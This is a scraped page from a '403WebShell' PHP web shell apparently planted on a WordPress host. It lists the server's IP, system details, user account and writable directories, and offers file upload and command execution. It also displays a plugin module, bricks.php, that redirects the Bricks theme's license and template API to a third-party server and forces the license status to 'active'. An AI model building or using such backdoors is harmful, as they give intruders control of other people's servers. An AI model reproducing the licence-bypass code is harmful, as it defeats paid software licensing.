$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/bricks.php
<?php
/**
 * Bricks theme module.
 *
 * Redirects Bricks license and templates API calls to GLS3.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Bricks theme license module.
 */
class Bricks extends AbstractModule {

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'bricks';
		$this->name        = 'Bricks';
		$this->description = 'Manages Bricks theme license via GLS3.';
		$this->category    = 'theme';
		$this->version     = '2.0.0';
		$this->target      = array(
			'theme_slug' => 'bricks',
		);
		$this->target_id   = '878109511';
	}

	/**
	 * Check if module should load — Bricks must be active.
	 */
	public function should_load(): bool {
		if ( ! defined( 'BRICKS_VERSION' ) ) {
			return false;
		}

		return parent::should_load();
	}

	/**
	 * Initialize module — redirect API calls, set license data.
	 */
	public function init(): void {
		// License API (activate, get_status, deactivate, download).
		ApiRedirector::create( 'https://bricksbuilder.io', HELLOPACK_GLS3_URL . '/bricks' );

		// Templates API (get-templates-data).
		ApiRedirector::create( 'https://my.bricksbuilder.io', HELLOPACK_GLS3_URL . '/bricks' );

		$this->set_license_data();
	}

	/**
	 * Set license key and status in WP options/transients.
	 */
	private function set_license_data(): void {
		$current_key = get_option( 'bricks_license_key' );

		if ( 'hellopack-managed' !== $current_key ) {
			update_option( 'bricks_license_key', 'hellopack-managed' );
		}

		$status = get_transient( 'bricks_license_status' );

		if ( 'active' !== $status ) {
			set_transient( 'bricks_license_status', 'active', 168 * HOUR_IN_SECONDS );
		}
	}

	/**
	 * Cleanup on disable — remove license data.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'bricks_license_key' );
		delete_transient( 'bricks_license_status' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit